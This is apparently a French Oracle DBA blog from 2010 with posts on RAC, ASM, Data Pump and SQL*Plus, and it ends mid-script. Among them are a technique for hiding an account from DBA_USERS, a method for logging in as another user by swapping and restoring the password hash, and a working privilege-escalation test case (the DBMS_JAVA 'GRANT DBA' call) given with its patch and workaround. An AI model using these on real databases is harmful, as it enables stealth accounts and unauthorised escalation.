vendredi 28 mai 2010

Colonne TYPE# de la table SYS.USER$

Dans un article précédent, je disais ceci concernant la colonne TYPE# de la table SYS.USER$:
-- Ceci s'applique aux versions 11g

- Si la colonne TYPE# a la valeur 1 alors il s'agit d'usagers. Dans ce cas, la colonne PASSWORD est renseignée.
- Si la colonne TYPE# a la valeur 0 alors il s'agit d'un ROLE ou "PUBLIC".
   Dans ce cas, la colonne PASSWORD n'est pas renseignée pour un rôle sans mot de passe.
Lorsque le role est créé avec un mot de passe la colonne est renseignée avec le mot de passe crypté. Pour un "Application role" la colonne est renseignée avec le mot "APPLICATION".
- Si la colonne SPARE4 n'est pas nulle, alors la colonne PASSWORD est renseignée avec un mot de passe crypté pour un usager ou un role .

Dans cet article, j'aimerais vous faire partager deux choses:

  • Comment masquer un usager pour qu'il ne soit pas visible par la vue DBA_USERS?
  • Comment rendre les objets du schéma PUBLIC exportables (par expdp)?

1- Comment masquer un usager?

Voyons la valeur de la colonne type# dans la table sys.user$

SYS@DUPL> select name,type# from sys.user$ where name='HETCHE';
NAME TYPE#
---------- ----------
HETCHE 1

Vérifions que l'usager hetche est bien visible en interrogeant la vue DBA_USERS:

SYS@DUPL> select username from dba_users where username='HETCHE';
USERNAME
------------------------------
HETCHE

Modifions la valeur de la colonne type# pour la mettre à 2:

SYS@DUPL > update sys.user$ set type#=2 where name='HETCHE';
1 row updated.

SYS@DUPL> commit;
Commit complete.


Vérifions si hetche est toujours visible en interrogeant la vue DBA_USERS

SYS@DUPL > select username from dba_users where username='HETCHE';
no rows selected


On voit bien qu'en mettant la valeur du champ type# de la table sys.user$ à 2, l'on ne voit plus l'usager hetche par la vue dba_users. À chacun de définir l'utilisation qu'il peut en faire.

Remettons la valeur à 1:

SYS@DUPL > update sys.user$ set type#=1 where name='HETCHE';
1 row updated.

SYS@DUPL> commit;
Commit complete.
SYS@DUPL > select name,type# from sys.user$ where name='HETCHE';
NAME TYPE#
----------- ----------
HETCHE 1


Vérifions dans la vue:

SYS@DUPL > select username from dba_users where username='HETCHE';
USERNAME
------------------------------
HETCHE

2- Comment rendre les objets du schéma PUBLIC exportables?

Voyons la valeur du champ type#:

SYS@DUPL > select name,type# from sys.user$ where name='PUBLIC';
NAME TYPE#
----------- ----------
PUBLIC 0

Faisons un export avec le paramètre «schemas=PUBLIC»:

oracle@udl001:/udl001_u01/home/dba/oracle> expdp system schemas=PUBLIC dumpfile=public_test.dmp logfile=public_test.log
Export: Release 11.2.0.1.0 - Production on Ven. Mai 28 18:08:00 2010
Copyright (c) 1982, 2009, Oracle and/or its affiliates. All rights reserved.
Password:
Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, Automatic Storage Management, Oracle Label Security, OLAP,
Data Mining and Real Application Testing options
ORA-39001: valeur d'argument non valide
ORA-39170: L'expression de schéma 'PUBLIC' ne correspond à aucun schéma.
oracle@udl001:/udl001_u01/home/dba/oracle>

Mettons la valeur du champ type# à 1 et essayons de nouveau:

SYS@DUPL > update sys.user$ set type#=1 where name='PUBLIC';
1 row updated.SYS@DUPL> commit;
Commit complete.


Essayons l'export de nouveau:

oracle@udl001:/udl001_u01/home/dba/oracle> expdp system schemas=PUBLIC dumpfile=public_test.dmp logfile=public_test.log
Export: Release 11.2.0.1.0 - Production on Ven. Mai 28 18:08:53 2010
Copyright (c) 1982, 2009, Oracle and/or its affiliates. All rights reserved.
Password:
Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, Automatic Storage Management, Oracle Label Security, OLAP,
Data Mining and Real Application Testing options
Démarrage de "SYSTEM"."SYS_EXPORT_SCHEMA_01" : system/******** schemas=PUBLIC dumpfile=public_test.dmp logfile=public_test.log
Estimation en cours à l'aide de la méthode BLOCKS ...
Traitement du type d'objet SCHEMA_EXPORT/TABLE/TABLE_DATA
Estimation totale à l'aide le la méthode BLOCKS : 0 KB
Traitement du type d'objet SCHEMA_EXPORT/USER
Traitement du type d'objet SCHEMA_EXPORT/DEFAULT_ROLE
Traitement du type d'objet SCHEMA_EXPORT/PRE_SCHEMA/PROCACT_SCHEMA
Traitement du type d'objet SCHEMA_EXPORT/SYNONYM/SYNONYM
Traitement du type d'objet SCHEMA_EXPORT/DB_LINK
Table maître "SYSTEM"."SYS_EXPORT_SCHEMA_01" chargée/déchargée avec succès
******************************************************************************
L'ensemble de fichiers de vidage de SYSTEM.SYS_EXPORT_SCHEMA_01 est :
/u01/home/dba/oracle/dpdump/public_test.dmp
L'exécution du travail "SYSTEM"."SYS_EXPORT_SCHEMA_01" a abouti à 18:12:06
oracle@udl001:/udl001_u01/home/dba/oracle>

Ceci peut être utile si l'on souhaite exporter des objets appartenant à PUBLIC. Sait-on jamais !!!

11.2 CRS+10.2 RAC: Echec de démarrage des instances 10g au démarrage du CRS

Lorsque vous utilisez le grid infrastructure 11.2.0.1 avec des bases de données 11.2 et des bases de données 10g, vous constatérez que les ressources des BD 11g ont des dépendences avec les diskgroups, mais pas les BD 10g.

Pour le constatez, nous utiliserons une bd 11gR2 (P039) et une bd 10g (P035). Les deux BDs ont leurs SPFILE dans des diskgroups.

Les ressources liées à ces deux BDs dans le clusterware sont respectivement ora.p039.db et ora.P035.db (vous remarquerez le "p" minuscule pour la bd 11g: avec la 11g, la ressource est créée avec une lettre minuscule même si la bd a été ajoutée au clusterware avec une lettre majuscule).

Vérifions leurs dépendances avec les diskgroups:

Pour ce qui concerne la ressource de la bd 11g: ora.p039.db

oracle@ucl02b:/u01/home/dba/oracle> crsctl stat res ora.p039.db -p
NAME=ora.p039.db
TYPE=ora.database.type
ACL=owner:oracle:rwx,pgrp:dba:rwx,other::r--
ACTION_FAILURE_TEMPLATE=
ACTION_SCRIPT=
ACTIVE_PLACEMENT=1
AGENT_FILENAME=%CRS_HOME%/bin/oraagent%CRS_EXE_SUFFIX%
AUTO_START=always
...
SERVER_POOLS=ora.P039
SPFILE=+SYSGRP01/P039/spfileP039.ora
START_DEPENDENCIES=weak(type:ora.listener.type,global:type:ora.scan_listener.type,uniform:ora.ons,uniform:ora.eons) hard(ora.FRAGRP01.dg,ora.FRAGRP02.dg,ora.SYSGRP01.dg,ora.DATAGRP01.dg)
START_TIMEOUT=600
STATE_CHANGE_TEMPLATE=
STOP_DEPENDENCIES=hard(intermediate:ora.asm,shutdown:ora.FRAGRP01.dg,shutdown:ora.FRAGRP02.dg,shutdown:ora.SYSGRP01.dg,shutdown:ora.DATAGRP01.dg)
STOP_TIMEOUT=600
UPTIME_THRESHOLD=1h
USR_ORA_DB_NAME=
USR_ORA_DOMAIN=WORLD
USR_ORA_ENV=
USR_ORA_FLAGS=
USR_ORA_INST_NAME=
USR_ORA_INST_NAME@SERVERNAME(ucl02b)=P0391
USR_ORA_INST_NAME@SERVERNAME(ucl02c)=P0392
USR_ORA_OPEN_MODE=open
USR_ORA_OPI=false
USR_ORA_STOP_MODE=immediate
VERSION=11.2.0.1.0
oracle@ucl02b:/u01/home/dba/oracle>


On constate que la BD 11g a une dépendance avec les diskgroups FRAGRP01, FRAGRP02, SYSGRP01 et DATAGRP01

Pour ce qui concerne la ressource de la bd 10g: ora.P035.db

oracle@ucl02b:/u01/home/dba/oracle> crsctl stat res ora.P035.db -p
NAME=ora.P035.db
TYPE=application
ACL=owner:oracle:rwx,pgrp:dba:rwx,other::r--
ACTION_FAILURE_TEMPLATE=
ACTION_SCRIPT=/u02/home/dba/oracle/product/grid11gr2/bin/racgwrap
ACTIVE_PLACEMENT=0
AGENT_FILENAME=%CRS_HOME%/bin/appagent
AUTO_START=restore
...
SERVER_POOLS=
START_DEPENDENCIES=
START_TIMEOUT=0
STATE_CHANGE_TEMPLATE=
STOP_DEPENDENCIES=
STOP_TIMEOUT=0
...
oracle@ucl02b:/u01/home/dba/oracle>


La BD 10g n'a aucune dépendance avec les diskgroups.

La conséquence est que lorsque le CRS démarre, il ne s'assure pas que tous les diskgroups soient déjà montés avant qu'il essaie de démarrer les BDs 10g. Donc les BDs 10g ne démarrent pas au démarrage du CRS (elles ne démarrent que si le diskgroup dans lequel se trouvent leurs SPFILE est monté auparavant, ce qui est aléatoire).

Pour constater la raison pour laquelle la BD 10g n'a pu démarrer, il regarder le fichier $ORACLE10g_HOME/log/hostname/racg/imon_$SID.log

oracle@ucl02b:/u01/home/dba/oracle/product/10.2.0.4.0/log/ucl02b/racg> vi imon_P035.log
...
SQL*Plus: Release 10.2.0.4.0 - Production on Thu May 28 11:54:27 2010
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Enter user-name: Connected to an idle instance.
SQL> ORA-01565: error in identifying file '+SYSGRP01/P035/spfileP035.ora'
2010-05-28 11:54:28.765: [ RACG][6] [16851][6][ora.P035.P0352.inst]: ORA-17503: ksfdopn:2 Failed to open file +SYSGRP01/P035/spfileP035.ora

ORA-15077: could not locate ASM instance serving a required diskgroup
ORA-01078: failure in processing system parameters

SQL> Disconnected
...

On constate bien qu'il ne peut ouvrir le spfile. Cela est dû au fait que le diskgroup SYSGRP01 ne soit pas encore monté au moment où le CRS essaie de démarrer la bd P035.

Pour les BDs 11gR2, ce problème ne se pose pas car à cause de la dépendance qui existe avec les diskgroups, il s'assure que tous les diskgroups dont dépend une bd 11g soient montés avant qu'il ne démarre la bd 11g.

Ce problème est décrit dans un bug interne (non publié): Bug 8448079 -- 11.2 CRS+10.2 RAC DB INSTANCE FAILED TO START AFTER BOUNCING CRS STACK

Il sera corrigé dans le patchset 11.2.0.2.

Mais en attendant la correction, Oracle propose de désactiver les ressources des diskgroups au niveau du clusterware afin d'empêcher que le paramètre «asm_diskgroups» soit positionné à NULL pendant le «crsctl stop crs».

Puis positionner manuellement le paramètre «asm_diskgroups» au niveau de toutes les instances ASM du cluster.

Exemple: pour désactiver les ressources diskgroup et positionner le paramètre asm_diskgroups

Vérifions le status des diskgroups dans le clusterware avant de les désactiver:

oracle@ucl02b:/u01/home/dba/oracle> crsctl stat res -t
...
ora.DATAGRP01.dg
ONLINE ONLINE ucl02b
ONLINE ONLINE ucl02c
ora.FRAGRP01.dg
ONLINE ONLINE ucl02b
ONLINE ONLINE ucl02c
ora.FRAGRP02.dg
ONLINE ONLINE ucl02b
ONLINE ONLINE ucl02c
ora.SYSGRP01.dg
ONLINE ONLINE ucl02b
ONLINE ONLINE ucl02c


Tous les diskgroups sont ONLINE dans le clusterware.

La désactivation des ressources se fait à partir d'un seul noeud du cluster

oracle@ucl02b:/u01/home/dba/oracle> srvctl disable diskgroup -g FRAGRP01
oracle@ucl02b:/u01/home/dba/oracle> srvctl disable diskgroup -g FRAGRP02
oracle@ucl02b:/u01/home/dba/oracle> srvctl disable diskgroup -g SYSGRP01
oracle@ucl02b:/u01/home/dba/oracle> srvctl disable diskgroup -g DATAGRP01

Vérifions encore le status des diskgroups dans le clusterware:

oracle@ucl02b:/u01/home/dba/oracle> crsctl stat res -t
...
ora.DATAGRP01.dg
OFFLINE OFFLINE ucl02b
OFFLINE OFFLINE ucl02c
ora.FRAGRP01.dg
OFFLINE OFFLINE ucl02b
OFFLINE OFFLINE ucl02c
ora.FRAGRP02.dg
OFFLINE OFFLINE ucl02b
OFFLINE OFFLINE ucl02c
ora.SYSGRP01.dg
OFFLINE OFFLINE ucl02b
OFFLINE OFFLINE ucl02c

Les diskgroups sont maintenant OFFLINE.

Positionner le paramètre au niveau de chaque instance ASM du cluster (le faire sur chaque noeud)

export ORACLE_HOME=$GRID_HOME
export ORACLE_SID=+ASM1
$ORACLE_HOME/bin/sqlplus / as sysasm
sql> alter system set asm_diskgroups='FRAGRP01','FRAGRP02','SYSGRP01','DATAGRP01' scope=both SID='+ASM1';

Si les BDs 11gR2 et les BDs 10g sont dans les mêmes diskgroups, il faut enlever la dépendance entre les BDs 11g et les diskgroups:

export ORACLE_HOME=$BD11gR2_HOME
export ORACLE_SID=P0391
oracle@ucl02b:/u01/home/dba/oracle> srvctl modify database -d P039 -z

Note:

  1. Dans la version actuelle du clusterware (11.2.0.1), à chaque fois que vous démarrez une BD 11gR2, la dépendance avec les diskgroups revient automatiquement.
  2. Par conséquent, chaque fois qu'on arrête une BD 11gR2, il faut enlever la dépendance avec les diskgroups avant de la démarrer.
  3. C'est l'une des raisons pour lesquelles oracle conseille de mettre les BDs 11gR2 et les BDs 10g dans des diskgroups différents.

jeudi 27 mai 2010

Bases de données pré 11.2 / Grid Infrastructure 11.2

Selon la Note 946332.1, pour pouvoir utiliser des bases de données antérieures à la version 11.2 au niveau du grid infrastructure 11.2.0.1 il faut que les nœuds du cluster soient «pinned».

Lancer la commande suivante pour vérifier si les nœuds sont «pinned» :

oracle@ucl02b:/u01/home/dba/oracle> $GRID_HOME/bin/olsnodes -t
ucl02b Unpinned
ucl02c Unpinned
oracle@ucl02b:/u01/home/dba/oracle>

S'ils ne sont pas «pinned», en tant que root, lancer la commande :

root@ucl02b:/root> $GRID_HOME/bin/crsctl pin css -n ucl02b ucl02c
CRS-4664: Node ucl02b successfully pinned.
CRS-4664: Node ucl02c successfully pinned.

Après cela, vérifier le résultat:

oracle@ucl02b:/u01/home/dba/oracle> $GRID_HOME/bin/olsnodes -t
ucl02b Pinned
ucl02c Pinned
oracle@ucl02b:/u01/home/dba/oracle>

Note:

  1. Cela est valable s'il s'agit d'une nouvelle installation du grid infrastructure 11.2.0.1.
  2. Si le clusterware a été migré à partir d'une version antérieure vers le grid infrastructure 11.2.0.1, il n'est pas nécessaire de faire cela.

mercredi 26 mai 2010

Modifier temporairement le mot de passe d'un usager

En tant que DBA, l'on peut avoir besoin de se connecter à une BD avec le compte d'un usager bien précis. Cependant l'on ne connait pas forcement le mot de passe de cet usager.

L'on peut donc temporairement modifier le mot de passe de cet usager, et remettre le mot de passe initial une fois l'opération terminée.

Versions antérieures à 11g:

Avec les versions antérieures à la version 11g, le mot de passe crypté de chaque usager se trouve dans la colonne PASSWORD de la vue DBA_USERS.

sqlplus / as sysdba

SQL> select username, password from dba_users
where username='HETCHE';


USERNAME PASSWORD
----------------- ------------------------------
HETCHE 5DD7A003B535D7AF


Modifier le mot de passe de l'usager HETCHE:

SQL> alter user hetche identified by hetche;

ou

SQL> password hetche
Changing password for hetche
New password:
Retype new password:


Une fois qu'on a terminé ce pourquoi l'on s'est connecté avec l'usager HETCHE, remettre son mot de passe initial:

sqlplus / as sysdba
SQL> alter user hetche identified by values '5DD7A003B535D7AF';

Versions 11g et récentes:

Avec les versions 11g, le mot de passe crypté de chaque usager se trouve dans la colonne PASSWORD de la table SYS.USER$.

sqlplus / as sysdba

SQL> select name, password from sys.user$
where name='HETCHE';


NAME PASSWORD
--------------- ------------------------------
HETCHE 3A0F9D491EE0A91F


Modifier le mot de passe de l'usager HETCHE:

SQL> alter user hetche identified by hetche;

ou

SQL> password hetche
Changing password for hetche
New password:
Retype new password:


Une fois qu'on a terminé ce pourquoi l'on s'est connecté avec l'usager HETCHE, remettre son mot de passe initial:

sqlplus / as sysdba
SQL> alter user hetche identified by values '3A0F9D491EE0A91F';

Note:

Dans la table SYS.USER$,
  1. Si la colonne TYPE# a la valeur 1 alors il s'agit d'usagers. Dans ce cas, la colonne PASSWORD est renseignée.
  2. Si la colonne TYPE# a la valeur 0 alors il s'agit d'un ROLE ou "PUBLIC". Dans ce cas, la colonne PASSWORD n'est pas renseignée.

Numérotation des noeuds du cluster

Dans un environnement RAC, la commande «lsnodes -n» montre les différents noeuds du cluster et leurs numéros respectifs:
-- Il faut être connecté avec l'usager qui a installé le grid infrastructure 11.2.0.1 pour exécuter la commande «lsnodes»

oracle@ucm01a:/u01/home/dba/oracle> lsnodes -n
ucm01a 0
ucm01b 1
ucm01c 2

Cependant, lorsque j'exécute la commande «crsctl stat res -t», la ressource de la base de données E100 (une BD 11.2.0.1) se présente comme suit:
-- Il faut être connecté avec l'usager qui a installé le grid infrastructure 11.2.0.1 pour exécuter la commande «crsctl»

oracle@ucm01a:/u01/home/dba/oracle> crsctl stat res -t
...
ora.e100.db
1 ONLINE ONLINE ucm01b Open
2 ONLINE ONLINE ucm01c
3 ONLINE ONLINE ucm01a Open
...

On voit bien qu'on a «ucm01b» en 1ere position, «ucm01c» en 2eme position et «ucm01a» en 3eme position. Ce qui est un ordre différent de ce que nous a présenté la commande «lsnodes» précédente.

Il faut savoir qu'à partir de la version 11.2, les numéros des noeuds sont assignés de façon dynamique, raison pour laquelle la commande «crsctl» montre une numérotation différente de celle de la commande «lsnodes».

C'est donc le comportement normal.

jeudi 13 mai 2010

ASM / DISKGROUP - Attributs compatible.asm et compatible.rdbms

Attribut COMPATIBLE.ASM d'un diskgroup:

Lorsque vous créez un diskgroup ASM (version 11.2.0.1), en utilisant le «CREATE DISKGROUP», ou la commande «mkdg» d'ASMCMD ou par OEM, la valeur par défaut de l'attribut COMPATIBLE.ASM est positionnée à 10.1.
Cependant, la valeur par défaut est 11.2 lorsque vous créez le diskgroup en utilisant ASMCA (Asm Configuration Assistant).

Attribut COMPATIBLE.RDBMS d'un diskgroup:

Pour ce qui concerne l'attribut COMPATIBLE.RDBMS, la valeur par défaut est 10.1 peu importe l'outil utilisé pour créer le diskgroup.
Attention: Tenir compte des valeurs des paramètres d'initialisation COMPATIBLE des bd qui vont utiliser ce diskgroup avant de modifier la valeur de l'attribut COMPATIBLE.RDBMS.

Pour voir les valeurs de ces attributs une fois le diskgroup créé, l'on peut interroger les vues V$ASM_DISKGROUP et V$ASM_ATTRIBUTES.

Exemples:

sqlplus / as sysasm
SQL> select name, compatibility, database_compatibility
from v$asm_diskgroup where name='NOM_DG';


ou

sqlplus / as sysasm
SQL> select d.name, a.name, a.value from v$asm_attribute a,v$asm_diskgroup d
where a.group_number=d.group_number
and d.name='NOM_DG'
and a.name in ('compatible.asm','compatible.rdbms');

Si vous souhaitez modifier les valeurs de ces attributs après la création du diskgroup, procédez comme suit:

sqlplus / as sysasm
SQL> alter diskgroup NOM_DG set attribute 'compatible.asm'='11.2';
SQL> alter diskgroup NOM_DG set attribute 'compatible.rdbms'='11.2';


L'objet de cet article est de présenter comment apporter une modification à l'instance ASM pour que les futures créations de diskgroups se fassent automatiquement avec la valeur 11.2 (si c'est ce que vous souhaitez).

D'abord où va-t-on chercher la valeur par défaut? Pour le savoir, exécuter la requête suivante:
-- Les valeurs par défaut sont fournies par les paramètres cachés _asm_compatibility et _rdbms_compatibility.

SQL> select i.ksppinm, v.ksppstvl from x$ksppi i, x$ksppcv v
2 where i.ksppinm in ('_rdbms_compatibility','_asm_compatibility')
3 and i.indx=v.indx;

KSPPINM KSPPSTVL
--------------------- ----------
_asm_compatibility 10.1
_rdbms_compatibility 10.1


Ensuite, si vous voulez modifier ces valeurs par défaut pour que les prochaines créations de diskgroups se fassent automatiquement avec la nouvelle valeur:

sqlplus / as sysasm
SQL> alter system set "_asm_compatibility"='11.2' scope=spfile;
System altered.

SQL> alter system set "_rdbms_compatibility"='11.2' scope=spfile;
System altered.


Redémarrer l'instance ASM;

sqlplus / as sysasm
SQL> shutdown immediate
ASM diskgroups dismounted
ASM instance shutdown
SQL> startup
ASM instance started

Total System Global Area 284565504 bytes
Fixed Size 1299428 bytes
Variable Size 258100252 bytes
ASM Cache 25165824 bytes
ASM diskgroups mounted


Si vous êtes dans un environnement RAC ou Oracle restart:

srvctl stop asm [-n noeuds] [-f]
srvctl start asm [-n noeuds]

Interroger de nouveau pour s'assurer que les nouvelles valeurs ont été prises en compte:

SQL> select i.ksppinm, v.ksppstvl from x$ksppi i, x$ksppcv v
2 where i.ksppinm in ('_rdbms_compatibility','_asm_compatibility')
3 and i.indx=v.indx;

KSPPINM KSPPSTVL
-------------------- ----------
_asm_compatibility 11.2
_rdbms_compatibility 11.2


Tester en créant un nouveau diskgroup et vérifier la valeur des attributs:

sqlplus / as sysasm
SQL> create diskgroup nom_dg2 external redundancy disk '/asm1/dg2-50mb-1.asm';

Diskgroup created.

SQL> select name, compatibility, database_compatibility
2 from v$asm_diskgroup where name='NOM_DG2';

NAME COMPATIBIL DATABASE_C
----------- ---------- ----------
NOM_DG2 11.2.0.0.0 11.2.0.0.0


Dorénavant, tous les diskgroups seront créés avec les valeurs des attributs COMPATIBLE.ASM et COMPATIBLE.RDBMS à 11.2

Note importante:
Si les valeurs par défaut sont laissées à 10.1, vous pouvez tout de même créer des diskgroups avec la valeur 11.2 pour ces attributs:
- En spécifiant la clause des attributs au niveau du CREATE DISKGROUP (voir la syntaxe complète dans la doc oracle)
- En spécifiant la clause des attributs au niveau de la commande «mkdg» d'ASMCMD (faire «help mkdg» pour voir la syntaxe)
- Modifier ces valeurs au niveau de l'écran de création de diskgroup d'OEM
- Avec ASMCA, cliquer sur «Show Advanced Options» et modifier «database compatibility» (asm compatibility étant par défaut à 11.2.0.0.0)

mardi 11 mai 2010

Attribut AUTO_START des DISKGROUP asm 11.2.0.1

Ceci s'applique à la version 11.2.0.1 (et plus récentes) du grid infrastructure cluster ou standalone.

À partir de la version 11.2.0.1, les diskgroups ASM sont gérés comme des ressources au niveau du clusterware ou Oracle Restart.

Lors du démarrage du clusterware ou d'Oracle Restart, pour permettre aux diskgroups asm d'être montés automatiquement, il faut mettre leur attribut AUTO_START à ALWAYS.

Pour voir la liste des diskgroups (la commande crsctl se trouve dans $ORA_CRS_HOME/bin):
-- Les ressources des diskgroups se terminent par «dg»

crsctl stat res -t grep dg

Positionner l'attribut "AUTO_START=always" dans le CRS comme suit:

crsctl modify resource "ora.DATA.dg" -attr "AUTO_START=always"

Après cela, les diskgroups seront automatiquement montés.

Référence:
ASM diskgroups Are Not Starting When CRS Starts in 11.2 [ID 1052944.1]

Spatial - Datapump Import - ORA-31693 ORA-02354 ORA-26065

Ceci s'applique aux versions 10.2.0.1.0 à 10.2.0.3.0

Lors d'un import Datapump qui implique des tables ayant des colonnes de type SPATIAL et des contraintes NOT NULL, vous rencontrerez des erreurs du genre:

ORA-31693: Table data object "BGR"."BGR_DICTN_SYMBL_GEOMD" failed to load/unload and is being skipped due to error:
ORA-02354: error in exporting/importing data
ORA-26065: check constraint cannot reference column, SYS_NC00013$, in direct path load.

Il s'agit du Bug 5228136.

Voir alors la Note Metalink:
ORA-31693 ORA-02354 ORA-26065 During Datapump Import [ID 463153.1]

La Note suggère les actions suivantes:

1- Créer les tables concernées à l'avance dans la BD cible
2- Désactiver les contraintes "not null" sur les colonnes «spatial»
3- Charger les données avec «impdp» avec l'option "content=data_only" pour les tables concernées

Exemple:
impdp system/password DIRECTORY=dpump_dir1 DUMPFILE=expfull.dmp TABLES= 'Liste des tables' ''CONTENT=DATA_ONLY"

4- Et activer les contraintes "not null" précédemment désactivées.

Le problème a été résolu dans le patchset 10.2.0.4.

vendredi 7 mai 2010

Alerte de sécurité bd 11.2.0.1 - AURORA

Vous avez certainement entendu parler de l'alerte de sécurité au niveau des BD 11gR2 (11.2.0.1) levée par David Litchfield, un gourou dans le monde de la sécurité au niveau des bases de données.

Je ne détaillerai pas cette alerte ici car plusieurs sites l'ont déjà fait y compris celui de David Litchfield lui-même.

L'alerte concerne AURORA, l'implémentation de JAVA au niveau de la base de données.

Le lien ci-dessous donne les détails de l'article de David:
http://www.databasesecurity.com/HackingAurora.pdf

Cet article donne juste un «test case» que vous pouvez utiliser pour tester cette faille de sécurité.

Se connecter à la BD 11.2.0.1:
sqlplus / as sysdba

Créer un usager:
CREATE USER HETCHE
IDENTIFIED BY hetche
DEFAULT TABLESPACE USERS
TEMPORARY TABLESPACE TEMP
PROFILE DEFAULT
ACCOUNT UNLOCK;


Accorder seulement le privilège «create session» à l'usager nouvellement créé:
GRANT CREATE SESSION TO HETCHE;

Se connecter avec l'usager nouvellement créé:
sqlplus hetche/hetche

Exécuter la requête suivante (elle devrait donner une erreur, mais ne pas tenir compte de l'erreur):
SELECT
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS',
'writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO HETCHE''; END;', 'BEGIN NULL; END;') FROM DUAL;


Exécuter la requête suivante:
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE);

Positionner le rôle DBA:
SET ROLE DBA;

Sortir de SQLPLUS
SQL> exit;

Se connecter à la BD par SQL ou un outil tel que TOAD et vérifier les droits de l'usager HETCHE.

Vous découvrez avec stupéfaction que l'usager HETCHE qui a été créé avec seulement un privilège «create session» a pu s'octroyer lui-même le privilège DBA.

Effrayant non?

Le problème a été résolu dans le CPU (Critical Patch Update) d'avril 2010 ou le PSU (Patch Set Update) 11.2.0.1.1 d'avril 2010.

Si pour une raison quelconque vous ne pouvez appliquer ni le CPU ni le PSU, il existe des solutions de contournement.
En gros, ça consiste à retirer le privilège EXECUTE à l'usager PUBLIC sur les packages:
DBMS_JAVA
DBMS_JAVA_TEST
DBMS_JVM_EXP_PERMS


Mais attention, il faut s'assurer qu'aucun de vos objets n'a de dépendances avec ces packages. Pour cela, interroger la vue DBA_DEPENDENCIES.
S'il existe des dépendences, s'assurer d'accorder les droits nécessaires aux objets dépendants avant de revoquer le droit à PUBLIC.

La sécurité, ça n'a pas de prix. À bon entendeur....

Le fichier glogin.sql pour l'exécution de sqlplus

Quelqu'un m'a déjà posé la question de savoir comment afficher dans le prompt de sqlplus, le nom de l'utilisateur et la base de données à laquelle l'on est connecté .
Je publie donc la réponse ici:

Dans le fichier $ORACLE_HOME/sqlplus/admin/glogin.sql (windows: $ORACLE_HOME\sqlplus\admin\glogin.sql), ajouter la ligne suivante:

SET SQLPROMPT '&_USER@&_CONNECT_IDENTIFIER> '

Note:
Si vous voulez positionner certains paramètres à l'avance dans SQLPLUS, le faire dans ce fichier.

Exemple:

set pagesize 0
set linesize 190
define _editor=gvim

À vous donc de définir tout ce dont vous avez besoin.

jeudi 6 mai 2010

«crsctl stat res» dans tous les environnements

Pour ceux qui utilisent le RAC ou Oracle restart 11gR2, la commande «crsctl stat res» est très utile pour voir le statuts des ressources du clusterware ou d'oracle restart.

Cependant, il faut être connecté au serveur avec les paramètres du grid infrastructure 11gR2 pour pouvoir utiliser cette commande. Ce qui est souvent embêtant car étant connecté avec les paramètres BD, l'on a souvent envie de voir rapidement le status d'une ressource (le binaire crsctl n'existe que dans le $ORACLE_HOME/bin du grid infrastructure).

Une façon de faire est de créer un script, placer ce script à un emplacement qui sera défini dans le fichier «.profile» de l'utilisateur que l'on utilise pour se connecter au serveur.

À titre d'exemple:

Créer un script que j'appelerai «crsctl_perso»:

#!/usr/bin/ksh
CRS_PATH=$(cat /var/opt/oracle/oratab awk -F: '/^\+ASM/{print $2}')
if [[ $# -eq 0 ]]; then
$CRS_PATH/bin/crsctl stat res -t
else
$CRS_PATH/bin/crsctl stat res $*
fi

Note:
Ce script tient compte du fait que dans mon fichier /var/opt/oracle/oratab, il y a un enregistrement pour l'instance ASM sous le format:
+ASM:$ORA_CRS_HOME:N
Noter qu'à partir de la version 11.2.0.1, le clusterware et ASM s'installent dans le même home, ce qui m'a permis d'utiliser le home d'ASM.

Rendre le script exécutable (le 754 a été choisi au hasard, pourvu que je puisse exécuter mon script):
chmod 754 crsctl_perso

Placer le script dans le répertoire souhaité

Définir ce répertoire dans le fichier «.profile»

Se reconnecter au serveur et tester le script.

Exemple d'exécution du script dans un environnement oracle restart (idem pour un environnement RAC):


  • Utiliser le script sans paramètre pour voir toutes les ressources et leurs statuts:
crsctl_perso
  • Utiliser le script avec des paramètres pour voir les paramètres d'une ressource «ora.d100.db» (ressource d'une de mes bd: D100) avec l'option -p (Pour voir les différentes options, se connecter avec les paramètres du grid infrastructure et faire «crsctl -h»):

crsctl_perso ora.d100.db -p

Après ça l'on ne pourra plus se plaindre de pas pouvoir voir le status des ressources lorsqu'on est connecté avec les paramètres BD.

Automatic Memory Management -MEMORY_TARGET

Depuis la version 10g, oracle a sorti la notion de «Automatic Shared Memory Management» qui consiste à positionner le paramètre SGA_TARGET à une valeur différente de 0 pour que les différentes composantes du SGA soit gérées de façon automatique.

Avec la version 11g, oracle est allé un peu plus loin en introduisant la notion de «Automatic Memory Management». Vous constaterez que seul le petit mot «Shared» a sauté. Cependant, l'impact est assez majeur.

Cette nouvelle notion introduit les paramètres MEMORY_TARGET et MEMORY_MAX_TARGET.
Je ne détaillerai pas trop ces notions car on peut trouver toute sorte d'information dans la documentation oracle ou sur «My Oracle Support». D'ailleurs, deux notes assez intéressantes parlent très bien de ce sujet:
11g MEMORY_TARGET Parameter Dependency [ID 452512.1]
Automatic Memory Management(AMM) on 11g [ID 443746.1]


L'objectif de cet article est de proposer un script pour générer de façon automatique un autre script qui contiendra les requêtes sql à exécuter pour positionner les valeurs des paramètres.

Ce script m'a été proposé par mon collègue Éric Cloutier (il ne faut pas recréer la roue, on avance plus vite en utilisant ce que les autres ont déjà fait: leçon à retenir).

Ce script ira chercher les valeurs actuelles des paramètres SGA_TARGET et PGA_AGGREGATE_TARGET pour construire les valeurs des paramètres MEMORY_TARGET, MEMORY_MAX_TARGET et SGA_MAX_SIZE.

Ensuite il enlèvera les valeurs des paramètres SGA_TARGET et PGA_AGGREGATE_TARGET.

Voici le corps du script:


set heading off
set pagesize 0
set linesize 150
set echo off

spool rslt_memory_target.sql
select 'spool rslt_memory_target.log' from dual;
Select '-- Memory Target = 'round(to_char((qry_sga_target.value+
greatest(qry_pga_target.value,qry_pga_alloc.value)))/1024/1024)' MB'chr(10)
'Alter system set memory_target='
to_char((qry_sga_target.value+greatest(qry_pga_target.value,qry_pga_alloc.value)))' scope=spfile;'chr(10)
